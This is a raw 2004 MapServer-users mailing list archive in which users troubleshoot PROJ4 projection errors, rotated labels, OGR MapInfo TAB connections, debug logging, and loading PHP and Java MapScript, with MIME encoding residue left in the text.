it with PROJ4 support but I am getting > the error: > msProcessProjection(): Projection library error. no system list, errno: 2 Did you already have proj4 installed? I assume not. Trying running the "ldconfig" command once after you installed these new libraries. Does running "mapserv -v" tell you that proj support is in there now? > Which I am sure you have all seen before... the /usr/local/share/proj folder > has all of the files it should have... and if I run a "proj -V > +init=epsg:2223" it runs and returns information like it should (I think) but > I still get that error... My webserver is running under my user account which > has r+w permissions to that folder... Any ideas? I highly recommend keeping it simple first, but dropping all projection settings. You only need to specify projection info if you are going to display your map in a projection that is different than your source data projection. But in your case, I think you were doing fine on that front. Including your map file again would help to. Keep with 'er, you'll get it soon :) Tyler From marcelito20 at hotmail.com Fri May 21 15:59:45 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Fri, 21 May 2004 17:59:45 -0500 Subject: [Mapserver-users] HELP ON ANGLE LABELS Message-ID: <40AE89E1.000003.01456@BECARIO1> --------------Boundary-00=_LJ63G6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_LJ63BHK0000000000000" --------------Boundary-00=_LJ63BHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Folks,=0D =0D I'm trying to put angleled labels on a map of Quito's streets, i'm using = a shape file, and the angles are in degrees in the .dbf file.=0D =0D I think that maybe my layer is wrong, here is it:=0D =0D LAYER=0D NAME "CALLES"=0D GROUP "Ciudad"=0D STATUS ON=0D DATA "CALLES_84_3_text"=0D TYPE ANNOTATION=0D MINSCALE 1000=0D MAXSCALE 100000=0D LABELITEM Textstring=0D LABELANGLEITEM Text_angle=0D LABELSIZEITEM Text_size=0D TOLERANCE 10=0D TOLERANCEUNITS PIXELS=0D CLASS=0D NAME 'CALLES'=0D LABEL=0D TYPE BITMAP=0D ANGLE AUTO=0D POSITION LR=0D SIZE TINY=0D COLOR 10 155 95=0D END=0D STYLE=0D SYMBOL "CIRCLE"=0D SIZE 5=0D COLOR 255 100 51=0D END=0D END=0D END=0D =0D =0D Thanks,=0D =20 --------------Boundary-00=_LJ63BHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi Folks,
 
I'm trying to put angleled labels on a= map of Quito's streets, i'm using a shape file, and the angles are in de= grees in the .dbf file.
 
I think that maybe my layer is wrong, = here is it:
 
 LAYER
    NAME= "CALLES"
    GROUP "Ciudad"
    STAT= US ON
    DATA "CALLES_84_3_text"
   =   TYPE ANNOTATION
 MINSCALE 1000
    MAXSC= ALE 100000
    LABELITEM Textstring
 LABEL= ANGLEITEM Text_angle
 LABELSIZEITEM Text_size
  &nbs= p; TOLERANCE 10
    TOLERANCEUNITS PIXELS
 &nbs= p;  CLASS
 NAME 'CALLES'
      L= ABEL
        TYPE BITMAP
 &= nbsp;ANGLE AUTO
  POSITION LR
  SIZE TINY
&n= bsp;       COLOR 10 155 95
  &= nbsp;   END
      STYLE
 &n= bsp;      SYMBOL "CIRCLE"
   &= nbsp;SIZE 5
     COLOR 255 100 51
  &= nbsp;   END
    END
  END
<= /DIV>
 
Thanks,
 
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_LJ63BHK0000000000000-- --------------Boundary-00=_LJ63G6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_LJ63G6G0000000000000-- From mike.merrett at city.whitehorse.yk.ca Fri May 21 15:51:35 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Fri, 21 May 2004 15:51:35 -0700 Subject: [Mapserver-users] MapInfo -> ogrinfo style and label Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEECB@DUKE.city.whitehorse.yk.ca> Hi: given the following output of OGR -- how do I get access for a label to the "a:265.00000" OGRFeature(CAD_text):2 DXF_ (Integer) = 2 DXF_ID (Integer) = 2 X (Real) = 493722.643523147 Y (Real) = 6739906.71706199 OFFSETX (Real) = 0 OFFSETY (Real) = 0 HEIGHT (Real) = 40 SYMBOL (Integer) = 1 LEVEL (Integer) = 2 TEXT (String) = 1337 e00_anno_id (Integer) = 2 e00_text_level (Integer) = 2 e00_anno_name (String) = DXF Style = LABEL(t:"1337",a:265.000000,s:32.001486g,c:#000000,p:1,f:"") POINT (493722.639 6739906.691) OGRFeature(CAD_text):3 In other words the LABEL object has ANGLE AUTO - which does not seem to work -- but the angle is available in the OGRinfo output -- how do I use it? The OGR documentation says "Text angle is mapped to CLASS.LABEL.ANGLE" -- how do I get access to this? Thanks, Mike Merrett From hal at mobilegeographics.com Fri May 21 16:05:38 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Fri, 21 May 2004 16:05:38 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: References: Message-ID: I don't know whether the projection stuff is correctly installed or written. However, the MAP file as submitted should not draw anything. The definition of the LAYER object is outside the definition of the MAP object; the MAP as defined has no layers. The END line before the LAYER line must be deleted and moved to the end of the file. From dmorissette at dmsolutions.ca Fri May 21 16:13:35 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 21 May 2004 19:13:35 -0400 Subject: [Mapserver-users] MapInfo -> ogrinfo style and label In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEECB@DUKE.city.whitehorse.yk.ca> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEECB@DUKE.city.whitehorse.yk.ca> Message-ID: <40AE8D1F.6000709@dmsolutions.ca> Merrett, Mike wrote: > > Style = LABEL(t:"1337",a:265.000000,s:32.001486g,c:#000000,p:1,f:"") The font is set to "" in this style string. Since MapServer cannot find a TTF font called "" in your fontset, it falls back on using bitmap fonts, and bitmap fonts cannot be rotated. The simplest solution would be to create a font called "default" in your fontset and the styleitem auto will use that font by default and you should get your rotated labels. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mike.merrett at city.whitehorse.yk.ca Fri May 21 16:19:14 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Fri, 21 May 2004 16:19:14 -0700 Subject: [Mapserver-users] MapInfo -> ogrinfo style and label Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEECC@DUKE.city.whitehorse.yk.ca> Thank you -- this problem has been bugging me for a month -- Thank you -----Original Message----- From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] Sent: May 21, 2004 4:14 PM To: Merrett, Mike Cc: 'Mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] MapInfo -> ogrinfo style and label Merrett, Mike wrote: > > Style = LABEL(t:"1337",a:265.000000,s:32.001486g,c:#000000,p:1,f:"") The font is set to "" in this style string. Since MapServer cannot find a TTF font called "" in your fontset, it falls back on using bitmap fonts, and bitmap fonts cannot be rotated. The simplest solution would be to create a font called "default" in your fontset and the styleitem auto will use that font by default and you should get your rotated labels. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From yecarrillo at hotmail.com Fri May 21 16:23:29 2004 From: yecarrillo at hotmail.com (Eduin Yesid Carrillo) Date: Fri, 21 May 2004 18:23:29 -0500 Subject: [Mapserver-users] Overlayed Symbols are not highlighted in Querymap Message-ID: As MapServer does not support polygons borders (with more than 1 pixel width) I used this trick: MapFile: .. #FILL: RASTERFILL_STYLE_EMPTY BACKGROUNDCOLOR -1 -1 -1 COLOR -1 -1 -1 OVERLAYOUTLINECOLOR 0 130 255 OVERLAYSYMBOL 'Microcuencas--0--outline' OVERLAYSIZE 3 .. Symbols file: ... SYMBOL NAME 'Microcuencas--0--outline' FILLED true TYPE ellipse POINTS 1 1 END END #Symbol ... However, when I query this layer, these polygons are not highlighted in the querymap. It seems that MS highlight just base symbols.....It is a bug? Thanks in advance ---------------------------- Eduin Yesid Carrillo Ingeniero Civil Bucaramanga - Colombia yecarrillo at hotmail.com yecarrillo at condorito.uis.edu.co #ICQ 14323531 _________________________________________________________________ Consigue aqu? las mejores y mas recientes ofertas de trabajo en Am?rica Latina y USA: http://latam.msn.com/empleos/ From dmorissette at dmsolutions.ca Fri May 21 16:22:54 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 21 May 2004 19:22:54 -0400 Subject: [Mapserver-users] What is DEBUG parameter for? In-Reply-To: <20040521173623.19983.qmail@hm47.locaweb.com.br> References: <20040521173623.19983.qmail@hm47.locaweb.com.br> Message-ID: <40AE8F4E.4060904@dmsolutions.ca> Eduardo Patto Kanegae wrote: > I've tested parameter DEBUG of the map object with a MapServer CGI application, but it doesn't matter if DEBUG is ON or OFF, log messages are generated at the same way in the LogFile. > > if I unset the LOG parameter, MapServer errors are sent the same way even with DEBUG ON or OFF. > > I didn't understand the real purpose of DEBUG parameter... > The DEBUG parameter generally produces additional logging output via the internal msDebug() function which writes to stderr and not to the logfile specified in the mapfile. By default with Apache stderr goes to the Apache error_log file. For historical reasons the LOG parameter in the mapfile currently applies only to the mapserv CGI and not to MapScript, that's why msDebug() doesn't currently use its value. It is my hope someday to modify msDebug() to write to that logfile if it is set (instead of the apache error_log which would remain the default). Note that msDebug() is enabled only when MapServer is configured with the --enable-debug option on Linux/Unix, or using -DENABLE_STDERR_DEBUG -DNEED_NONBLOCKING_STDERR on Windows. I believe our most recent win32 builds (the 4.2beta ones) should have that enabled but I never checked. HTH Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Fri May 21 16:10:34 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 21 May 2004 19:10:34 -0400 Subject: [Mapserver-users] HELP ON ANGLE LABELS In-Reply-To: <40AE89E1.000003.01456@BECARIO1> References: <40AE89E1.000003.01456@BECARIO1> Message-ID: <40AE8C6A.607@dmsolutions.ca> Label rotation works only with Truetype fonts. Your label object is currently set to use TYPE BITMAP. Daniel Marcelo Carrillo wrote: > Hi Folks, > > I'm trying to put angleled labels on a map of Quito's streets, i'm using > a shape file, and the angles are in degrees in the .dbf file. > > I think that maybe my layer is wrong, here is it: > > LAYER > NAME "CALLES" > GROUP "Ciudad" > STATUS ON > DATA "CALLES_84_3_text" > TYPE ANNOTATION > MINSCALE 1000 > MAXSCALE 100000 > LABELITEM Textstring > LABELANGLEITEM Text_angle > LABELSIZEITEM Text_size > TOLERANCE 10 > TOLERANCEUNITS PIXELS > CLASS > NAME 'CALLES' > LABEL > TYPE BITMAP > ANGLE AUTO > POSITION LR > SIZE TINY > COLOR 10 155 95 > END > STYLE > SYMBOL "CIRCLE" > SIZE 5 > COLOR 255 100 51 > END > END > END > > Thanks, > > > From dmorissette at dmsolutions.ca Fri May 21 16:15:41 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 21 May 2004 19:15:41 -0400 Subject: [Mapserver-users] Error message TAB files & OGR In-Reply-To: <40AE7CD1.000003.01156@BECARIO1> References: <40AE7CD1.000003.01156@BECARIO1> Message-ID: <40AE8D9D.7050909@dmsolutions.ca> Marcelo Carrillo wrote: > > I'm having trouble with .tab files and OGR. This is part of my log file. > > [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning: > [MapServer Error]: msDrawMap(): Failed to draw layer named 'CALLES'., > referer: http://localhost/GPSFinder/php/GPSMain.php > [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] in D:\Archivos de > programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line > 31, referer: http://localhost/GPSFinder/php/GPSMain.php > [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning: > [MapServer Error]: msOGRFileOpen(): Open failed for OGR connection > `D:/Archivos de programa/Apache > Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.tab'. File not found or > unsupported format., I would suggest making sure that the file D:/Archivos de programa/Apache Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.tab exist... and if it does then check verify that you can open it using OGRINFO. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From TCHaddad at cshore.com Fri May 21 16:33:41 2004 From: TCHaddad at cshore.com (TCHaddad) Date: Fri, 21 May 2004 19:33:41 -0400 Subject: [Mapserver-users] problems loading mapscript dll Message-ID: <200405211933.AA3154444412@cshore.com> hello all, we're setting up a new server: w2k/IIS5. PHP4.3.4 installed & tested as OK. we put php_mapscript_4.0.2.dll in c:\PHP\extensions\ we set extension_dir directive in php.ini to: extension_dir = "c:\PHP\extensions" when we then test using dl("php_mapscript_4.0.2.dll"); we get the following error: Warning: dl(): Unable to load dynamic library 'c:\PHP\extensions\php_mapscript_4.0.2.dll' - The specified module could not be found. in c:\tmp\test.php on line 2 this seems pretty basic, but after trying several locations we are stumped at this point. Any pointers? thanks, tanya From marcelito20 at hotmail.com Fri May 21 16:56:20 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Fri, 21 May 2004 18:56:20 -0500 Subject: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR References: <3CB96EAEFD928B49AF8978BA92BB65A41DEEC8@DUKE.city.whitehorse.yk.ca> Message-ID: <40AE9724.000001.03560@BECARIO1> --------------Boundary-00=_W593QL80000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_W593LVC0000000000000" --------------Boundary-00=_W593LVC0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0D Hi =0D I tried the layer you sent to me but it doesn't work. I getting this erro= r messages in the log file:=0D =0D [Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msDrawMap(): Failed to draw layer named 'CALLES'., referer: http://localhost:2008/GPSFinder/php/GPSMain.php=0D [Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 31, referer: http://localhost:2008/GPSFinder/php/GPSMain.php=0D [Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msOGRFileOpen(): Open failed for OGR connection `D:/Archivos de programa/Apache Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.TAB'. File not found or unsupported format., referer: http://localhost:2008/GPSFinder/php/GPSMain php=0D [Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 31, referer: http://localhost:2008/GPSFinder/php/GPSMain.php=0D [Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] PHP Fatal error:=20 Object expected as argument. in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 69, referer: =0D http://localhost:2008/GPSFinder/php/GPSMain.php=0D =0D Could you tell me what is happening?=0D =0D Thanks, anyway...=0D -------Mensaje original-------=0D =0D De: Merrett, Mike=0D Fecha: 21/05/2004 13:19:24=0D Para: 'mapserver-users at lists.gis.umn.edu'=0D Asunto: re: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR=0D =0D >Subject: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR=0D >From: marcelito20 at hotmail.com (Marcelo Carrillo)=0D >Date: Thu, 20 May 2004 18:44:46 -0500=0D >=0D =0D >------------------------------------------------------------------------= ---=0D -----=0D >=0D >--------------Boundary-00=3D_MYD1G6G0000000000000=0D >Content-Type: Multipart/Alternative;=0D > boundary=3D"------------Boundary-00=3D_MYD1BHK0000000000000"=0D >=0D >=0D >--------------Boundary-00=3D_MYD1BHK0000000000000=0D >Content-Type: Text/Plain;=0D > charset=3D"iso-8859-1"=0D >Content-Transfer-Encoding: quoted-printable=0D >=0D >Hi MapUsers:=3D0D=0D >=3D0D=0D >I'm having trouble showing some MapInfo's .TAB's with mapserver via O= GR,=0D >here's a part of my mapfile:=3D0D=0D >=3D0D=0D > LAYER=3D0D=0D > NAME "CALLES"=3D0D=0D > GROUP "Ciudad"=3D0D=0D > STATUS ON=3D0D=0D > #DATA "CALLES_84_3_text"=3D0D=0D > CONNECTIONTYPE OGR=3D0D=0D > CONNECTION "./data/CALLES_84_3.tab"=3D0D=0D > TYPE ANNOTATION=3D0D=0D > UNITS METERS=3D0D=0D > SIZEUNITS METERS=3D0D=0D > MINSCALE 1000=3D0D=0D > MAXSCALE 100000=3D0D=0D > LABELITEM Textstring=3D0D=0D > LABELANGLEITEM Text_angle=3D0D=0D > LABELSIZEITEM Text_size=3D0D=0D > TOLERANCE 10=3D0D=0D > TOLERANCEUNITS PIXELS=3D0D=0D > CLASS=3D0D=0D > LABEL=3D0D=0D > TYPE BITMAP=3D0D=0D > POSITION LR=3D0D=0D > SIZE TINY=3D0D=0D > COLOR 10 155 95=3D0D=0D > END=3D0D=0D > STYLE=3D0D=0D > SYMBOL "CIRCLE"=3D0D=0D > SIZE 5=3D0D=0D > COLOR 255 100 51=3D0D=0D > END=3D0D=0D > END=3D0D=0D > END=3D0D=0D > =3D0D=0D >What is wrong?, could someone tell me, please?=3D0D=0D >Thanks=0D >=0D =0D Hi:=0D It could be that mapinfo tab files contain more than one type of data=0D try chaning the type from annotation to line, polygon or point and= =0D see if you see anything=0D (it looks like you are trying to put a circle on an annotation lay= er=0D which I think wont work=0D =0D I use this map file layer and it seems to work:=0D =0D layer=0D name "Overall Water - Text"=0D group "Overall Water"=0D connection=0D "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\test\Water_co= mbi=0D ned.tab"=0D connectiontype OGR=0D metadata=0D description "Overall Water - Text"=0D end=0D minscale 100=0D MAXSCALE 3000=0D =0D status off=0D type ANNOTATION=0D styleitem "auto"=0D class=0D name "Overall Water - Text"=0D keyimage "blue_a.png"=0D end=0D end=0D =0D =0D =0D _______________________________________________=0D Mapserver-users mailing list=0D Mapserver-users at lists.gis.umn.edu=0D http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --------------Boundary-00=_W593LVC0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 Hi
I tried the layer you sent to me but i= t doesn't work. I getting this error messages in the log file:
 
[Fri May 21 17:13:17 2004] [error] [cl= ient 127.0.0.1] PHP Warning:  [MapServer Error]: msDrawMap(): Failed= to draw layer named 'CALLES'., referer: http://l= ocalhost:2008/GPSFinder/php/GPSMain.php
[Fri May 21 17:13:17 2004] [error] [client 127.0.0.1]  in= D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render= =2Ephp on line 31, referer: http://localhost:2008= /GPSFinder/php/GPSMain.php
[F= ri May 21 17:13:17 2004] [error] [client 127.0.0.1] PHP Warning:  [M= apServer Error]: msOGRFileOpen(): Open failed for OGR connection `D:/Arch= ivos de programa/Apache Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.T= AB'.  File not found or unsupported format., referer: http://localhost:2008/GPSFinder/php/GPSMain.php
<= FONT face=3DVerdana size=3D2>[Fri May 21 17:13:17 2004] [error] [client 1= 27.0.0.1]  in D:\Archivos de programa\Apache Group\Apache2\htdocs\GP= SFinder\php\render.php on line 31, referer: http:= //localhost:2008/GPSFinder/php/GPSMain.php
[Fri May 21 17:13:17 2004] [error] [client 127.0.0.1] PHP F= atal error:  Object expected as argument. in D:\Archivos de programa= \Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 69, referer= :
 
Could you tell me what is happening?
 
Thanks, anyway...
-------Mensaje original-------
 
Fecha: 21/05/2004 = 13:19:24
Asunto: re: [Mapse= rver-users] SHOWING MapInfo's TAB VIA OGR
 
   >Subject: [Mapserver-users] SHOWING MapInfo's TAB VI= A OGR
   >From: ma= rcelito20 at hotmail.com (Marcelo Carrillo)
   >Date: Thu, 20 May 2004 18:44:46 -0500
   >
 
>----------------------------------------------------------------= -----------
-----
   >
   >--------------Boundary-00=3D_MYD1G6G0000000000000
   >Content-Type: Multipart/Alternative;
   >  boundary=3D"------------Boundary-00=3D_= MYD1BHK0000000000000"
   >
   >
   >--------------Boundary-00=3D_MYD1BHK0000000000000
   >Content-Type: Text/Plain;
   >  charset=3D"iso-8859-1"
   >Content-Transfer-Encoding: quoted-printable
   >
   >Hi MapUsers:=3D0D
   >=3D0D
   >I'm having trouble showing some MapInfo's .TAB's wi= th mapserver via OGR,
   >here's a part of my mapfile:=3D0D
   >=3D0D
   > LAYER=3D0D
   >    NAME "CALLES"=3D0D
   >    GROUP "Ciudad"=3D0D
   >    STATUS ON=3D0D
   >    #DATA "CALLES_84_3_text"=3D= 0D
   > CONNECTIONTYPE OGR=3D0D
   > CONNECTION "./data/CALLES_84_3.tab"=3D0D
   >    TYPE ANNOTATION=3D0D
   > UNITS METERS=3D0D
   >    SIZEUNITS METERS=3D0D
   >    MINSCALE 1000=3D0D
   >    MAXSCALE 100000=3D0D
   >    LABELITEM Textstring=3D0D
   >    LABELANGLEITEM Text_angle=3D= 0D
   > LABELSIZEITEM Text_size=3D0D
   >    TOLERANCE 10=3D0D
   >    TOLERANCEUNITS PIXELS=3D0D<= /DIV>
   >    CLASS=3D0D
   >      LABEL=3D0D
   >        TYP= E BITMAP=3D0D
   >        POS= ITION LR=3D0D
   >  SIZE TINY=3D0D
   >        COL= OR 10 155 95=3D0D
   >      END=3D0D
   >      STYLE=3D0D
   >        SYM= BOL "CIRCLE"=3D0D
   >    SIZE 5=3D0D
   >        COL= OR 255 100 51=3D0D
   >      END=3D0D
   >    END=3D0D
   >  END=3D0D
   > =3D0D
   >What is wrong?, could someone tell me, please?=3D0D=
   >Thanks
   >
 
Hi:
   It could be that mapinfo tab files contain more than on= e type of data
       try chaning the type from annot= ation to line, polygon or point and
see if you see anything
       (it looks like you are trying t= o put a circle on an annotation layer
which I think wont work
 
   I use this map file layer and it seems to work:
 
   layer
   name "Overall Water - Text"
   group "Overall Water"
   connection
"e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\test\Wat= er_combi
ned.tab"
   connectiontype OGR
   metadata
    description "Overall Water - Text"
   end
   minscale 100
   MAXSCALE 3000
 
   status off
   type ANNOTATION
   styleitem "auto"
   class
    name "Overall Water - Text"
    keyimage "blue_a.png"
   end
  end
 
 
 
_______________________________________________
Mapserver-users mailing list
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_W593LVC0000000000000-- --------------Boundary-00=_W593QL80000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <4D2936BF-D3D1-4934-A547-A12E5D9418BE> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_W593QL80000000000000-- From marcelito20 at hotmail.com Sat May 22 08:45:07 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Sat, 22 May 2004 10:45:07 -0500 Subject: [Mapserver-users] Labeling Annotation layers with Mapscript Message-ID: <40AF7583.000006.03356@BECARIO1> --------------Boundary-00=_73H412S0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_73H4WCW0000000000000" --------------Boundary-00=_73H4WCW0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi folks:=0D =0D Does anyone knows how to show angleled labels in an annotation layer, I'm having this error message:=0D =0D msGetLabelSize(): TrueType Font error. Could not find/open font =0D =0D The fonts.list file is fine, and is in the same folder of the fonts file= s.. =0D =0D What could I do?=0D =20 --------------Boundary-00=_73H4WCW0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable '; if ($currentStatus >= 1) { //get the number of classes for this layer $nClassCount = $currentLayer->numclasses; // loop through the classes for($j=0; $j<$nClassCount; $j++) { $currentClass = $currentLayer->getClass($j); $className = $currentClass->name; $classImage = $currentClass->createLegendIcon(20,10); $classImageUrl = $classImage->saveWebImage(MS_GIF,1,0,90); // write out the html code echo ''; } } } } Good luck! ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: Frank Broniewski [mailto:Frank.Broniewski at mnha.etat.lu] Sent: Wednesday, May 26, 2004 6:25 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Create a legend using PHPMapscript Dear List I'm still a beginner with MapServer, so I have trouble understanding the process of creating a legend using php-mapscript. Maybe a reader may send me on the right path. I've done so far this tutorial http://mapserver.gis.umn.edu/doc/phpmapscript-byexample-howto.html And the tutorials found here http://terrasip.gis.umn.edu/projects/tutorial/ Which provide quite some background But when it comes to creating the legend dynamically, I can't seem to find any helpful source. And I must admit, that I'm not capable of understanding the information provided here: http://mapserver.gis.umn.edu/doc/phpmapscript-class-guide.html#legend As far as I understand inherits the legend object from the mapobject. So I thought it might be a good idea to create the legend in the same manner as the scalebar, which I could figure out myself :-) To provide a little more information on my work, here is the code I used: $legend = $map->legend(); $legend_url = $legend->saveWebImage(); Am I missing vital parameters or something else? I'm currently displaying one shapefile only in my map. Thanks a lot in advance of your help and kind greetings from Luxembourg Frank Broniewski Mus?e National d'Histoire et d'Art Section Pr?histoire / Projet EPC T?l: +352 260 281-21 241, Rue de Luxembourg L-8077 Bertrange _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From uchoa at opengeo.com.br Wed May 26 14:54:43 2004 From: uchoa at opengeo.com.br (Uchoa) Date: Wed, 26 May 2004 18:54:43 -0300 Subject: [Mapserver-users] MapScript and Servlet Message-ID: <40B51223.9080009@opengeo.com.br> This is a multi-part message in MIME format. --------------020205000106000500080802 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Hi, I'm working with RH 8, jakarta-tomcat-5.0.19 and MS 4.0.2. I compile MapScript with Java and generate a mapscript.jar and libmapscript.so (the last I put in /usr/local/lib). In Eclipse, I import the mapscript.jar and I try to run the Servlet below to make a test but I get a error. *###### ERROR ######* *exception* javax.servlet.ServletException: Servlet execution threw an exception *root cause* java.lang.UnsatisfiedLinkError: new_mapObj edu.umn.gis.mapscript.mapscriptJNI.new_mapObj(Native Method) edu.umn.gis.mapscript.mapObj.(mapObj.java:296) HelloServlet.doGet(HelloServlet.java:39) javax.servlet.http.HttpServlet.service(HttpServlet.java:743) javax.servlet.http.HttpServlet.service(HttpServlet.java:856) *####### SERVLET TO TEST ########* import edu.umn.gis.mapscript.*; import java.io.*; import javax.servlet.http.*; import javax.servlet.*; public class HelloServlet extends HttpServlet { public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { try { System.loadLibrary("mapscript"); System.err.println("Loaded the Mapscript library"); } catch (UnsatisfiedLinkError e) { e.printStackTrace(); } // mapscript mapObj map; map = new mapObj ("/var/www/html/itasca/demo.map"); PrintWriter out = res.getWriter(); out.println("Hello, Brave new World!"); out.close(); } } Anyone can help me? --------------020205000106000500080802 Content-Type: text/html; 